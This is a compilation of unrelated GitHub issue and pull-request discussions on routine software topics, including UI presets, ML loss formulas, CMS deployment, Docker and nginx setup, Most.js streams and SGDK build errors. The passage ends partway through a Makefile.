refactor(presets): adjust tabs preset to support mobile viewport

Description
Currently the tabs is not mobile optimized yet (resulting in overflowed width)
Proposed Solution
Update tabs recipes to support mobile viewport
References: shadcn/ui's tabs
Previews

Before
After

Thanks for taking your time to create this PR. Much appreciated.
I noticed that the indicator is somewhat hidden now:

https://github.com/cschroeter/park-ui/assets/1846056/a6ee49df-c0b4-418a-bb42-9b214011cc48
Could you double check? If you run out of time I will check this later. Again thanks gain <3

Thanks for taking your time to create this PR. Much appreciated. I noticed that the indicator is somewhat hidden now:

 1px.mov
Could you double check? If you run out of time I will check this later. Again thanks gain <3

Sure @cschroeter , I'll be happy to check onto it, will update

After trying, I think I might need help as I'm starting to wonder if this should be fixed through Ark UI
The culprit is adding overflow scroll makes the indicator hidden, while before setting it, it can overlap with the container border.
@cschroeter

you have to run this pr locally.  haha

Right...TIL we can replace bottom border with box shadow 🙏


Implementation of Consistency Loss

Hello, so I noticed that there is a slight difference between the paper's fornulation of consistency loss and the actual implementation. Please correct me if I am wrong. As can be seen, the actual formulation are as follows:

However, I noticed that for the final consistency loss, the actual implementation uses a sum instead of an average across layers as indicated in equation 12 (weight_dict for this type of loss is 1 by defualt, therefore notion of average is perhaps not incorporated). As for the per layer consistency loss, the actual implementation uses an average over all M object queries instead of just the sum, as indicated in equation 13.

I am wondering what are the right formulations to follow? Thanks.

Hi, as shown in Eq. 12, the loss is divided by the number of decoder layers, which equals len(pred_boxes_all).

Thanks for pointing it out, we will correct it and upload a new file to Arxiv.

Thanks for your reply. For equation 12,  it shows that it is normalised over number of decoder layers, but I think len(pred_boxes_all) gives the number of object queries (batch_size*300), which is suggested here:

Each element in the list pred_boxes_all has a shape of (B*300, 4). Afterward, they are stacked into a tensor with a shape of (num_layers, B*300, 4), as shown in this line.

I think you are right. Sorry I have not run the code yet myself so was just reading along it. Thanks.


adding mouse to the custom mode

Alright looks good to me, need to clean up here and there but looks good to me.


added code of conduct. partly fixes issue #442

Note this was branched off of APIchange, not master, hence this pull request asks for merging back into APIchange.
added a code of conduct based on the markdown provided by http://contributor-covenant.org/
I added<EMAIL_ADDRESS>as the email address/contact point for people wanting to report violations. So before accepting this PR, we need to make sure that email address is alive and well. Perhaps @nielsdrost can fix that?

Codecov Report

Merging #445 into APIchange will not change coverage.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             APIchange     #445   +/-   ##
============================================
  Coverage        45.69%   45.69%
  Complexity        1209     1209
============================================
  Files              157      157
  Lines             6217     6217
  Branches           929      929
============================================
  Hits              2841     2841
  Misses            3167     3167
  Partials           209      209

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update dc101b3...446a716. Read the comment docs.


Order page doesn't show which variant is ordered.

On the order page, store administrator can't see which variant of product is ordered.
Also if product title is too long it gets truncated on the order page.

Hello @olivermrbl, can I work on this issue, can we add more description?

Actually it looks like it was fixed down the road already

Closing, as the reported issue has been resolved. Will create a ticket internally for the title truncation issue.


Deployment issues when moving files to FTP server

Hi @johannschopplich,
first of all, thanks for all the hard work on the headless plugin / startpack. I really appreciate that.
I'm relatively new to the Kirby CMS space and am building a first project with it right now. I have massive issues moving everything to the production server. I'm usually working in the JS space, so maybe I'm too used to having a dist folder which I can easily deploy on Vercel etc. but whatever.
The weird thing is, in development everything is running smoothly.
My setup is as following, I have a monorepo and a completely separated CMS which acts as headless backend from which I can fetch data from. The other folder of the repo is a (obviously also separated) frontend application with NextJS. No questions regarding the frontend, as mentioned above, everything works exactly as I want it to in development, however when moving the files from the CMS folder into the webspace via FTP the server can't find the page.
Here are some things that may cause this error:

The "default" starter kit from kirby isn't using the public folder in which your .htaccess and index.php is located. The default starter kit from kirby works fine on the webserver btw.
Something on the end of the webserver has to be changed (I don't have access to it as I'm building a project for friends)

I hope I could help you a bit understand my problem. If there's a quickfix for that you already know what I have to change, I would be insanely happy to hear from you as this is currently blocking further development.
Again, thanks for your great work and have a good evening!

Closing this issue as I could resolve the problem. The problem was indeed the public folder, I put the index.php and the htaccess into the root and works perfectly. Thanks anyway! :)

Glad to hear you have found the solution already!


Incorrect zip files with update.

I will republish the release soon (once these files delete) with the correct zip files. My bad.

Thanks for letting us know.


Support for PyTorch ZeroRedundancyOptimizer

🚀 Feature
Implement a DDP-ZeroRedundancyOptimizer strategy.
Motivation
I know that Zero is available in Fairscale, but since PyTorch now has its own implementation at torch.distributed.optim.ZeroRedundancyOptimizer, I think it would make sense to support it.
Pitch
A new strategy called e.g. DDPZero that would support DDP with torch's ZeroRedundancyOptimizer, along with support for overlapping ZeroRedundancyOptimizer with DDP ("overlap_with_ddp") and the related DDP comms hooks.
Alternatives
As mentioned above, Fairscale implements Zero. However, this requires taking on an additional dependency. And since pytorch has a native implementation, it could make sense to support that in lightning.

the support was added in https://github.com/Lightning-AI/lightning/pull/14208
and will be available in next v1.8 release in a few days :)
you would still be able to do it:
class LitModel(LightningModule):
    def configure_optimizers(self):
        return ZeroRedundancyOptimizer(self.layer.parameters(), optimizer_class=torch.optim.Adam, lr=0.1)

model = LitModel()
trainer = Trainer(accelerator="gpu", devices=2, strategy='ddp')
trainer.fit(model)

Fantastic! Apologies I missed that.


Badge - compatibility with MD syntax

Description
Possibility to add actuated.dev badge using markdown syntax.
Motivation and Context

[x] I have raised an issue to propose this change (required)

Fixes: #18
PR for OpenTelemetry Automatic Instrumentation introducing support for ARM64. https://github.com/open-telemetry/opentelemetry-dotnet-instrumentation/pull/3277
Current requirements, force us to allow html syntax in documentation files. If possible, it will be great to avoid this.
One of the solutions is to use common shields.io system to generate badges, alternatively you could add badge image in the proper size (120px) and support something like:
[![Arm CI sponsored by Actuated](https://docs.actuated.dev/images/actuated-badge-120.png)](https://actuated.dev/)

How Has This Been Tested?

Snippet from PR, here:

Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality), just documentation
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[x] My change requires a change to the documentation.
[x] I have updated the documentation accordingly.
[x] I've read the CONTRIBUTION guide
[x] I have signed-off my commits with git commit -s

@alexellis, FYI

Thanks for the PR


Add Foundry To Chains Export

Foundry is becoming more popular. This makes it easy for all.
Description
Make Foundry as easy as hardhat
Additional Information

[x] I read the contributing docs (if this is your first contribution)

Your ENS/address:
carllippert.eth

Was thinking the same about Anvil naming! Someone from that team probably has an opinion but don't know them.

Closing in favor of https://github.com/tmm/wagmi/pull/570


Added Weather App

Hey @Ayushparikh-code
This PR will Resolve Add Weather App #24
Please Review my PR

Hey, @Atif0604 looks good to me. Can you add a small README.md file to your project...
Contents of the README:

Project overview.
Use of the project.
Stack of your project.
How to set up / run your project.
Screenshots of the pages / output.
A short description under each screenshot... Describing the page a little bit

This may seem like a tedious task for now.... But it will be helpful to visitors who view your project.

Hey, @Atif0604 looks good to me. Can you add a small README.md file to your project...
Contents of the README:

Project overview.
Use of the project.
Stack of your project.
How to set up / run your project.
Screenshots of the pages / output.
A short description under each screenshot... Describing the page a little bit

This may seem like a tedious task for now.... But it will be helpful to visitors who view your project.

can i do this in another PR ? @chicken-biryani

Hey, @Atif0604 looks good to me. Can you add a small README.md file to your project...
Contents of the README:

Project overview.
Use of the project.
Stack of your project.
How to set up / run your project.
Screenshots of the pages / output.
A short description under each screenshot... Describing the page a little bit

This may seem like a tedious task for now.... But it will be helpful to visitors who view your project.

sure

So we could do two things.

I close this PR, and you create a completely new PR.

Let everything related to one project be under one PR.
Don't worry about the points for LGM - SOC.

So we could do two things.

You do the changes, and commit within this PR itself ( Which would be preferable).
I close this PR, and you create a completely new PR.

Let everything related to one project be under one PR.
Don't worry about the points for LGM - SOC.
@Atif0604

Ok i'll do in this PR Only

looks nice

Hey @Ayushparikh-code
can you remove the video as file as it isn't working
I thought of making it more creative but it didn't work

looks nice

Hey @Ayushparikh-code
can you remove the video file as it isn't working
I thought of making Readme more creative but it didn't work

yeah I deleted that file succesfully

looks nice

Hey @Ayushparikh-code
can you remove the video file as it isn't working
I thought of making Readme more creative but it didn't work

yeah I deleted that file succesfully

Thank You So much @Ayushparikh-code

Hey @Ayushparikh-code @chicken-biryani @harshita2216
Please Add LGMSOC21 label to this PR that it should be showing in the label section of PR as my PR is not being counted just because the LGMSOC21 label is not showed up in label section


Fix/routes terminality

Resolves #793
What does this PR do?
Check if you can access this routes
without being log in

/offers-management
/offers-approval
/profile
/edit-profile
/history-dashboard

How should this be tested?

Make run

@Edgar097 nice updated, modal is already opening but I'm not being able to make login from some of the direct route that the use can go

@leisterfrancisco can you specify which routes? please and what type of user you are using to access that route, since some of the routes are not availble for certain type of user.

@Edgar097 nice updated, modal is already opening but I'm not being able to make login from some of the direct route that the use can go

@leisterfrancisco can you specify which routes? please and what type of user you are using to access that route, since some of the routes are not availble for certain type of user.

@Edgar097  Any route and I taste it under donor profile, at least in my case

@leisterfrancisco check it out

@Edgar097  Another thing, after logged in, system is routing to home /

reopen this PR until conflicts are solved, by now, I'm going to close it


Added Hebrew localization (together with he.dart translation files)

(Sorry if previous commits made some mess. It's my first contribution ever).

@tierecke Thank you for your contribution, Released in v2.0.25.


Use client-supplied species IDs in v2 accession API

In the v2 accession API, the client passes in a species ID rather than a species
name. But we weren't actually storing that ID in the database.

Current dependencies on/for this PR:

main

PR #620   👈

This comment was auto-generated by Graphite.


[stream error: stream ID 11; INTERNAL_ERROR]

go get github.com/gin-gonic/contrib

go: downloading github.com/gin-gonic/contrib v0.0.0-20201101042839-6a891bf89f19
go get<EMAIL_ADDRESS>verifying module<EMAIL_ADDRESS>reading<EMAIL_ADDRESS>stream error: stream ID 11; INTERNAL_ERROR

export GOPROXY=https://goproxy.cn
go get github.com/gin-gonic/contrib

go: downloading github.com/gin-gonic/contrib v0.0.0-20201101042839-6a891bf89f19
go get: added github.com/gin-gonic/contrib v0.0.0-20201101042839-6a891bf89f19

The same issue happened for me. @oiooj

We try to use HTTP2  on our server side, but the CDN provider has some compatibility issues， so we disable HTTP2 now, if you still meet this issue feel free to contact me. Thanks all, @timandy @Laotree


Notification when publishing pages with empty layout blocks

User story
As a CMS user, I want to be warned if I publish a page containing an empty layout block, so that they are aware that the page will not contain dead space.
Acceptance Criteria

[ ] An empty layout block will be brought to the user’s attention after attempting to save or publish a page, signifying that empty layout blocks will not be shown unless there is published content within them.

Moved to https://github.com/silverstripe/silverstripe-elemental-layoutblock/issues/2


Navbar UI enhancement.

I think the navigation bar should be made more attractive and user-friendly.
I would like to work on this.
Please assign this to me.

@Shivangi-ch  Please provide some exact idea that you would like to work upon

I think the font size and logo size should be reduced.
Border of the buttons should not be there.
Theme toggle button should be  animated.
Hovering effect on the buttons should just be a simple underline of the basic color theme same as that of logo(gradient color).

@Shivangi-ch Go Ahead


Docker containers doc improvement

The Running Docker Containers on Marathon documentation is, concerning volumes usage, too generic and misleading. We should make clear that volumes should only be used for non-sandbox cases such as cluster-wide NFS mounts or cases where through configuration management a certain path exists in a predictable way on the Docker host (==Mesos worker node).

Well, the auto-mounting of the sandbox directory inside of the container is useful.

If it's useful, can you give one concrete example how you would use it?

Create a docker container which serves static from $HTTP_ROOT.
{
  "instances": 1,
  "cpus": 0.1,
  "mem": 64,
  "disk": 200,
  "container": {
    "type": "DOCKER",
    "docker": {
      "image": "peters-nginx",
      "network": "BRIDGE",
      "portMappings": [
        { "hostPort": 0, "containerPort": 80 }
      ]
    }
  },
  "env": {
    "HTTP_ROOT": "/mnt/mesos/sandbox/m-shop-static"
  },
  "uris": [
    "https://dl.dropboxusercontent.com/.../m-shop-static.zip"
  ]
}

This is a useful example, indeed. However, in order to make it self-explaining, one would need the full story: how is HTTP_ROOT used/passed over and what's the content of the peters-nginx Dockerfile.

A small example for logs:
Dockerfile:
FROM ubuntu:14.04

RUN apt-get install -y nginx

RUN sed -i 's/worker_processes 4;/worker_processes 1;/g' /etc/nginx/nginx.conf; \
    sed -i 's/access_log.*/access_log \/mnt\/mesos\/sandbox\/access.log;/g' /etc/nginx/nginx.conf; \
    sed -i 's/error_log.*/error_log \/mnt\/mesos\/sandbox\/error.log;/g' /etc/nginx/nginx.conf; \
    sed -i 's/^pid/daemon off;\npid/g' /etc/nginx/nginx.conf

CMD ["/usr/sbin/nginx"]

Sed comes from MarvAmBass
Marathon:
{
    "instances": 1,
    "cpus": 1.0,
    "mem": 512,
    "container": {
        "type": "DOCKER",
        "docker": {
            "image": "mydockerimage",
            "network": "BRIDGE",
            "portMappings": [
                {
                    "hostPort": 0,
                    "containerPort": 80
                }
            ]
        }
    }
}

@kolloch example (peters-nginx):
run.sh:
#/bin/bash
HTTP_ROOT=${HTTP_ROOT}
echo "server {
        listen 80 default_server;
        listen [::]:80 default_server ipv6only=on;
        root $HTTP_ROOT;
        index index.html index.htm;
        server_name localhost;
        location / {
                try_files $uri $uri/ =404;
        }
}" > /etc/nginx/sites-enabled/default
/usr/sbin/nginx

Dockerfile:
FROM ubuntu:14.04

RUN apt-get install -y nginx
RUN sed -i 's/^pid/daemon off;\npid/g' /etc/nginx/nginx.conf

ADD run.sh /run.sh
RUN chmod +x /run.sh

CMD ["/run.sh", "-n"]

Thanks a lot, @jstabenow — I'll use this one!

BTW, here is an issue about relative volume mounts in the Mesos JIRA:
"Support relative host paths for container volumes"
https://issues.apache.org/jira/browse/MESOS-2374
This would allow @mhausenblas use case without new docker containers. It should also solve using docker containers needing volume mounts for configuration.

Note: This issue has been migrated to https://jira.mesosphere.com/browse/MARATHON-3056. For more information see https://groups.google.com/forum/#!topic/marathon-framework/khtvf-ifnp8.


Npm pointing to v1

The entire docs focus on v2 but the npm install command is pointing to v1!
I've already see a few issues that could be fixed just by pointing to the newest version.
Steps to repro:
npm i @brainhubeu/react-carousel

Then the v1 is installed instead of v2

Yep! Nothing from the docs work without installing v2.

Hi, sorry for the delay, we have a really busy time. We'll most likely change the latest version to 2.0.2 soon.

the latest channel now points to the v2


REPL grouping works if there is no error

This commit should resolve #82.
I have made minimal changes to make it work when there are no type errors. There is a problem with infinite loop:
> let x = () ()
  let y = () ;;
<stdin>:1:9-10: fatal error: This expression has type Unit. It is not a function and cannot be applied
<stdin>:1:9-10: fatal error: This expression has type Unit. It is not a function and cannot be applied
<stdin>:1:9-10: fatal error: This expression has type Unit. It is not a function and cannot be applied
<stdin>:1:9-10: fatal error: This expression has type Unit. It is not a function and cannot be applied
...

But the other order works:
> let x = ()
let y = () () ;;
<stdin>:2:9-10: fatal error: This expression has type Unit. It is not a function and cannot be applied
> x ;;
<stdin>:1:1: fatal error: Unbound variable x

Changes in Parser/Main.ml have effect of inserting semicolons between lets and I guess that lazy handling of REPL definitions takes all those lets in one go. But I don't understand the codebase enough to tell why the loop error occurs.

I made suggested change and it seems to work.

New changes were added.

Updated version fixes #83


pull request for e2e test at 01/29/2017 06:56:13

:white_check_mark: Validation status: passed
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Add alwaysdata 1click install link

Hi!
alwaysdata also provides a 1click installation process. I thought it would be interesting for users to have a choice there.
Maybe the docs also deserve a chapter on installation page to list any Cloud Provider having such a quick installation process, or even a documentation page about deploying Microweber... Let me know!
Thank you

Hi, thanks, we will add such instructions in the docs.
Are you using the docker image ?
https://hub.docker.com/repository/docker/microweber/microweber
You can pull the last version with the command
docker run -p 80:80 microweber/microweber:latest

Hi Peter, and thank you for your fast answer!
In order to host Microweber instances on our shared hosting architecture, we can not use Docker image. The installation process is using composer and the command line (php artisan).
Regards


Most and Stomp JS?

I'm hoping to leverage Most to handle updates via Stomp over WS, but am struggling a little with the new Most (Core/v2?) API.  Since the Stomp JS client uses a "subscribe" and an associated callback to receive updates, I don't believe I can use an existing helper like "domEvent" as I did with Socket IO (which worked great).  I believe I need to write my own "Stream".
I did stumble across this: https://github.com/cujojs/most/issues/34, which then mentioned the "w3msg" project, but that appears to be abandoned/deprecated.  I also came across this: https://github.com/cujojs/most/issues/41, however, he was using "most.create" which I understand is not recommended, due to compatibility with Core, from various other threads.
The API docs describe what a Stream is, but no examples of one explaining the anatomy of it.  I did find some good threads that gave me some inkling.
So, given this currently:
const client = webstomp.client(url);
client.connect(user, token, () => {
  client.subscribe(`/queue/$[user}`, (message) => {
    console.log('Recieved Message:', JSON.parse(message.body));
  }
}

I believe then that I need to do something like this if I want to utilize Most (this doesn't actually work, I believe I'm missing something with respect to the callback)?
const client = webstomp.client(url);

function stream(topic, f) {
  return new Stream(topic, f);
}

class Stream {
  constructor (topic, method) {
    this.topic = topic;
    this.method = method;
  }

  run (sink, scheduler) {
    return asap(propagateTask(task, this.method(this.topic), sink), scheduler);
  }
}

function task (time, value, sink) {
  sink.event(time, value);
}

client.connect(user, token, () => {
  const updateStream = stream(`/queue/$[user}`, client.subscribe);
  const renderMessage = message => console.log('Recieved Message:', JSON.parse(message.body));
  runEffects(tap(renderMessage, updateStream), newDefaultScheduler());
}

Hi @scoobyshi. Thanks for sharing example code.  I think implementing the stream interface is a good way to go here.  I'm not intimately familiar with the webstomp client API, but the code seems on the right track.
I'd like to offer a couple suggestions.  First, I'll show how I might write the class, and then comment on a few of the differences from the example code.  I may not get some of the webstomp API particulars right, but hopefully this will still be helpful.
// other imports omitted for brevity
import { currentTime } from `@most/scheduler`

class Stream {
  constructor (topic, client) {
    this.topic = topic
    this.client = client
  }

  run (sink, scheduler) {
    const subscription = this.client.subscribe(
      this.topic,
      message => sink.event(currentTime(scheduler), message)
    )

    return {
      dispose: () => subscription.unsubscribe()
    }
  }
}

client.connect(user, token, () => {
  const updateStream = new Stream(`/queue/$[user}`, client);
  const renderMessage = message => console.log('Recieved Message:', JSON.parse(message.body));
  runEffects(tap(renderMessage, updateStream), newDefaultScheduler());
}

A few things of interest:

The stream holds the webstomp client.  It seems likely that webstomp wants its client's methods to be called as, well, methods on the client :). The original example code detaches the subscribe property from the client and eventually calls it as a method on a Stream.  That changes subscribe's this, and subscribe's implementation does indeed depend on having a webstomp Client as its this arg.
run returns a disposable that wraps the subscription returned from client.subscribe, allowing proper automatic unsubscription within the @most/core architecture.  This particular disposable is ad-hoc, i.e. an object literal that implements the Disposable interface.  If you decide to use Typescript or Flow, this would still be valid, and checked by those type systems for you.  You could also use @most/disposable's disposeWith, or write a class that implements the Disposable interface.  Personally, I prefer ad-hoc disposables for simple cases like this.
run only uses the scheduler to timestamp events it sends into the sink.  Stomp messages are already async, and will already uphold @most/core's always async requirement.  So there's no need for additional scheduling complexity.

I hope this helps.  Cheers!

Thanks for very much Brian, this does really help.  I was definitely stuck on the paradigm and vernacular of this lib, but looking at it now makes perfect sense, "a picture is worth a thousand words" I guess.
There are some great examples in the repo for dom events and promises, but I couldn't find any like this for custom streams.  I've already applied this example to another one I was stuck with (related to background geolocation tracking) and it worked great.
I have a variety of examples now I've garnered from myriad issues in the cujojs/most and mostjs/core repos, that aren't in the docs, not sure it will be any use to anyone else, but they've helped me begin to wrap my head around the use of this library (in combination with your notes/explanations).  Thanks again!

Great, I'm glad that was helpful, @scoobyshi.


feat: NIVC hash chain

WIP
Working to reduce public io signals to 1, just pass a hashchain value through AES and into the subsequent circuits where the hashchain will be computed again.

I am using circomkit a bit more to help see constraint counts and what not as I'm going through and I've found we have a good bit of warnings again.

[x] SHOULD MAKE AN ISSUE.
Closes #38

[x] AES should also take in CT and verify it.

Currently fighting a bug where circomkit isn't getting the step_out value from the circuit. I know it's computing properly, but it isn't giving me it in TypeScript:
it("NIVC_CHAIN", async () => {
       //..
        let parseAndLockStartLine = await httpParseAndLockStartLineCircuit.compute({ step_in: temp_step_in, data: http_response_plaintext, beginning: beginningPadded, beginning_length: beginning.length, middle: middlePadded, middle_length: middle.length, final: finalPadded, final_length: final.length }, ["step_out"]); // THIS GIVES ME `[]` `"step_out"` even though I can see it's correct with circom logs.

This is in the NIVC_FULL test

okay so i added the aes ciphertext validation to the nvic full. I also fixed aes tests that are now passing. Will work on getting the rest of test suite to pass but i know less about how to debug these circuits.


AngularJS form validation

Hey all,
I'm trying to add required to my "ui-select multiple" element, but no success so far.
I tried adding "required" to the input that generates from the directive, but the input doesn't recognize the selections, it keeps being invalid.

+1

Hey all!
We've just found that the input that the directive renders has no name attribute, and while this the form validation throws error since can't validate the value of the ui-select.
Did anyone worked out this?
Thanks,

Can you elaborate on what sort of validation you're trying to accomplish?  Sample code as well?  thanks.

@MBentley1976 Yeah, we are using Valdr to validate our forms. we tried to not to make rules / constraints on the model which the ui-select using but since ui-select creates an input inside it ( so inside the form ) valdr tries to fetch it and attach its own validation object(s). It dies since the input has no name attribute.

I see.  Well, I'm not familiar with Valdr but one workaround you may want to try is to create an extension to the ui-select directive.  In that extension you can use jquery; either native or the angular wrapped up version, to sniff out the input and add the name attribute yourself.  By using an extension you'll get the functionality "for free" everywhere.  Good luck.


Residual CPU usage (~5%) with Trello

Expected Behavior

Not a residual CPU usage
Current Behavior

I notice a residual CPU usage of Franz, I currently have 4 services (Trello, Riot, Discord and WhatApp).
By disabling one by one the services I found that this is Trello that continually eats 5% of my CPU usage.
Screenshots (if appropriate):
Possible Solution

Understand why Trello eats a lot of CPU and why it uses the CPU "all the time"
Steps to Reproduce (for bugs)

Just enable Trello and connect to it.

Context

Your Environment

Franz Version used: 5.0.0-beta.18 (5.0.0-beta.18.903)
Operating System and version: Mac OS 10.13.6

Maybe this issue can help: https://github.com/wavebox/waveboxapp/issues/639 ?


ARXML: Use floats to represent the minimum and maximum of data types featuring linear segments

Conceptually, values that represent quantities from the physical world are always floating point values. In practice, this should not matter too much because such tables often exhibit a scaling factor of 1 and an offset of 0. It does not hurt to also handle the corner cases, though...
Andreas Lauser<EMAIL_ADDRESS>on behalf of MBition GmbH.
Provider Information

@juleq: AFAICS this is merge-ready...

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

4 of 4 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.09%) to 95.105%

Totals

Change from base Build<PHONE_NUMBER>:
0.09%

Covered Lines:
6295

Relevant Lines:
6619

💛  - Coveralls


LAB_08-Manage_Virtual_Machines.md.pdf

English:
1024
Current Translation:
1024
Suggested Translation:
1,024

Hello contributor,
Thank you for your contribution! We are processing your suggestions and we will update you shortly.
Kind regards,
Microsoft Worldwide Learning Team

Run the bugfix tool and waiting for result. ICMS QUERY

This issue has been fixed, so I closed the PR.


Fixed Nav bar in mobile view and added Drawer

Resolves #68

Added a CTA button to all views
Removed the hamburger icon on desktop and tablet
Removed the 3 menu links from being seen on the blue navbar in mobile
Moved the hamburger icon from the left side to the right side of the screen in mobile
Made the hamburger icon clickable and toggle the 3 menu links in mobile

Please review and share any feedback that I can implement.

@johanna-j-c This looks so good! Thanks for taking on this task! Here is my feedback. Once these are completed, I am sure we can go ahead and merge your work into frontend_dat.

In tablet view (768px), the 'Learn More' link is stacked on top of each other. Can we play around with the font size in order for all the links to fit on 1 line with the navigation? This will help to tighten up the look of the navigation as a whole.
In mobile view (320px) and in tablet view (768px), the logo ' Urban League Heat Pump' breaks into 2 lines. Can we play around with the font size in order for the logo to fit on 1 line within the navigation? This will help to tighten up the look of the navigation as a whole.
In mobile view, when you click the hamburger to open the menu, can you make 'Contact' and 'Learn More' all uppercase to match the first 2 links in the menu? This will help to make the menu stay consistent between all viewports.
Consider a different CSS style for the 'Learn More' cta link. This will help to make this link stand out from the other links and have the visitor take action.

Thank you for the feedback! I pushed font size changes to the Nav.js for the tablet and mobile views. I also styled CTA button so it stands out more. I was not sure about specific color choice, so I chose a default one for now.

@johanna-j-c This has been approved! Thank you!


Optimize Dockerfile

Switch to Alpine Linux tag of official Node.js image
Vastly reduces image size (113.3 MB vs. 772.3 MB)

Get kubectl from latest stable Kubernetes release

Don't run Node.js as root

Optimize caching of Docker layers

Thanks :)


WIREFRAME - index

Update the wireframe in figma .
Design:

[x] Draw up wireframes of the page.
[x] Make a desktop and mobile view prototype using Figma.
[ ] Send the prototype to the devteam

Index page looks good and designed according to the standards. I know there was one issue with contrast on the hover for the donate part, so will move to dev after that part is fixed :)

Moving to dev


exception

SharpDX.SharpDXException: HRESULT: [0x8899000C], Module: [SharpDX.Direct2D1], ApiCode: [D2DERR_RECREATE_TARGET/RecreateTarget], Message: 存在可以恢复的演示错误。调用方需要重新创建、重新渲染整个帧，并重新尝试显示。
at SharpDX.Result.CheckError()
at DesktopDuplication.Direct2DEditorSession.EndDraw()
at DesktopDuplication.Direct2DEditor.GenerateFrame()
at Screna.Recorder.<>c__DisplayClass14_0.b__2()
at System.Threading.Tasks.Task`1.InnerInvoke()
at System.Threading.Tasks.Task.Execute()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at Screna.Recorder.d__14.MoveNext()

What are your screen sizes?

I still don't have a solution for this but I'm closing this due to no response.
If you have anything to add, comment on #492 which is pretty much the same issue.


Icons for PowerShell

Hi
Since this icon set is available in Visual Studio Code, it would be amazing if you can provide icons for PowerShell core files:
Script files: *.ps1
Module definition files: *.psd1
Module content files: *.psm1
And maybe also for two special PowerShell XML file extensions:
Formatting files: *.ps1xml
CIM Cmdlet definitions: *.cdxm

This package for Atom is directly mirrored from jesseweed/seti-ui, so in order for icons to be added here, they must be added in Seti UI first.
I see you already made your request over there, so if they get added, they will be added to this package shortly after release!


hfst-ospell tests fail

hfst-ospell's "make check" fails randomly on other platforms. I suspect Bash'isms in the test scripts.
Also "make -j8 check" fails even more randomly, because the dependencies between the tests aren't correctly set.
Reported by: TinoDidriksen

I actually pushed continuous integration by travis to master few days ago... I think if the tests pass travis they should be considered as passing everywhere, but I don't know how to do alternate archs there...


[Segment Replication] Add check to cancel ongoing replication with old primary on onNewCheckpoint on replica

Manual backport of https://github.com/opensearch-project/OpenSearch/pull/4386 to 2.x

Codecov Report

Merging #4424 (e4ea9d9) into 2.x (fc97324) will decrease coverage by 0.01%.
The diff coverage is 70.58%.

@@             Coverage Diff              @@
##                2.x    #4424      +/-   ##
============================================
- Coverage     70.68%   70.66%   -0.02%
+ Complexity    57182    57154      -28
============================================
  Files          4584     4585       +1
  Lines        274497   274527      +30
  Branches      40226    40229       +3
============================================
- Hits         194018   194008      -10
- Misses        64218    64265      +47
+ Partials      16261    16254       -7

Impacted Files
Coverage Δ

...c/main/java/org/opensearch/index/IndexService.java
74.03% <0.00%> (ø)

...ndices/replication/OngoingSegmentReplications.java
93.05% <ø> (ø)

...ices/replication/RemoteSegmentFileChunkWriter.java
68.57% <0.00%> (-4.16%)
:arrow_down:

...search/index/shard/RemoteStoreRefreshListener.java
78.31% <60.00%> (-1.18%)
:arrow_down:

...org/opensearch/cluster/metadata/IndexMetadata.java
84.00% <68.75%> (-0.31%)
:arrow_down:

...pensearch/common/settings/IndexScopedSettings.java
100.00% <100.00%> (ø)

...org/opensearch/common/settings/SettingsModule.java
86.17% <100.00%> (ø)

.../main/java/org/opensearch/index/IndexSettings.java
86.76% <100.00%> (+0.07%)
:arrow_up:

...g/opensearch/indices/recovery/FileChunkWriter.java
100.00% <100.00%> (ø)

...s/replication/SegmentReplicationSourceHandler.java
91.02% <100.00%> (+0.23%)
:arrow_up:

... and 478 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Unable to build using docker

Hi,
I'm following README instructions to build in linux using docker:
I downloaded latest version (sgdk162.7z) and extracted. Then, inside the SDK folder:

docker build -t sgdk .

    [...]
    Successfully built 60411313eebd
    Successfully tagged sgdk:latest

cd sample/basics/hello-world (README says sample/sprite but that example does not exist)
docker run --rm -v $PWD:/src sgdk

/sgdk/bin/mkdir -p src/boot
wine: created the configuration directory '/sgdk/bin/.wineconf'
Could not load wine-gecko. HTML rendering will be disabled.
wine: configuration in '/sgdk/bin/.wineconf' has been updated.
make: *** [/sgdk/makefile_wine.gen:145: pre-build] Error 66

Any ideas?

btw, I also tried the wine approach locally with the same results

I modified docker file to work with a 64 bit Debian and I have other errror
wine: created the configuration directory '/sgdk/bin/.wineconf' Could not load wine-gecko. HTML rendering will be disabled. Could not load wine-gecko. HTML rendering will be disabled. wine: configuration in '/sgdk/bin/.wineconf' has been updated. wine: Bad EXE format for Z:\sgdk\bin\sh.exe. make: *** [/sgdk/makefile_wine.gen:145: pre-build] Error 193

Meanwhile I've configured my dev environment as:

Linux host with my editor and tools (using VSCode)
VM Running Windows 10 and a shared mount to the SDK folder (which contains my project files)
I created a simple make file which sends the compile command to windows

Demo:
https://user-images.githubusercontent.com/579417/111135489-023eac00-857d-11eb-80bd-6b10f8d5d736.mp4
Sources:
https://github.com/pladaria/SGDK/tree/master/projects

Hello,
I am pretty sure this is related to SGDK 1.62 not being compatible with generate_wine.sh script. This may be related to changes in makefile, but I am yet to take a look to confim this.
Try purging your sgdk folder (rm -dr to also get rid of .wineconf) and starting all over again using previous released version (in case you don't use anything specific to 1.62).
You may also change JRE version to 14.

Meanwhile I've configured my dev environment as:

Linux host with my sources, editor (VSCode) and tools
VM Running Windows 10 and a shared mount to the SDK folder (which contains my project files)
Simple Makefile to send the compile command to the Windows VM (using VBoxManage guestcontrol run)

Demo:
https://user-images.githubusercontent.com/579417/111135489-023eac00-857d-11eb-80bd-6b10f8d5d736.mp4

Can you put up your Makefile please, I think im going to try something similar with VMWare

@mattsputnikdigital sure!
Makefile
FOLDER=$(shell basename $(CURDIR))
EMULATOR=wine /home/pladaria/projects/genesis/gens-kmod/Gens_KMod_v0.7.3/gens.exe

build:
	@echo "*** Building $(FOLDER)"
